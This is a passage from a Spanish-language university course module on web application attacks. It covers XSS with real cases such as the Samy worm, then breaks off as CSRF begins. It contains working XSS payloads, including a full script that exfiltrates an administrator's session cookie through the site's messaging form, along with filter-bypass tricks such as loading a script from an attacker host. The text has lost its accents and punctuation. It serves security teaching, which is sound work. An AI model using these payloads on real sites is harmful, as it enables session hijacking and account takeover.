112 Meacutetodos para introducir XSS (cross site scripting) 10

113 Diseccionando un ataque 12

114 Filtros XSS 17

12 Cross Site Request Forgery (CSRF) 19

13 Clickjacking 21

2 Ataques de inyeccioacuten de coacutedigo 26

21 LDAP Injection 28

211 LDAP Injection con ADAM de Microsoft 28

212 LDAP Injection con OpenLDAP 31

213 Conclusiones 33

214 ldquoORrdquo LDAP Injection 34

215 ldquoANDrdquo LDAP Injection 36

22 Blind LDAP Injection 39

221 Blind LDAP Injection en un entorno ldquoANDrdquo 40

222 Reconocimiento de clases de objetos de un aacuterbol

LDAP 40

223 Blind LDAP Injection en un entorno ldquoORrdquo 42

224 Ejemplos Blind LDAP Injection 43

23 XPath 48

231 XPath injection y Blind XPath Injection 48

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection 53

3 Ataques de Path Transversal 54

31 Path Disclosure 54

4 Ataques de inyeccioacuten de ficheros 56

41 Remote file inclusion 56

42 Local file inclusion 57

43 Webtrojans 59

5 Google Hacking 61

6 Seguridad por ocultacioacuten 64

61 Descompiladores de applets web 67

611 Flash 67

612 Java 69

613 NET 70

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Bibliografiacutea 73

CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web

1 Ataques de inyeccioacuten de scripts

Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que

comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin

El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la

fijacioacuten de los objetivos perseguidos

Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-

yectar en el contexto de un dominio un coacutedigo Javascript VBScript o

simplemente HTML con la finalidad de engantildear al usuario o realizar

una accioacuten no deseada suplantaacutendole

Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-

tado no es directamente el servidor como podriacutea ser en el caso de un ataque

de SQL Injection sino que el objetivo directo es el usuario Posteriormente

si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten

ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse

desde una paacutegina web

Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados

como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-

clarando incluso que errores de este tipo no podriacutean llegar a comprometer la

seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la

inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-

ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial

Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-

ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A

pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-

gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar

coacutedigo Javascript

CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web

Zone-H

El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados

El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban

Samy Worm y MySpace

El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm

Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace

El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil

En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

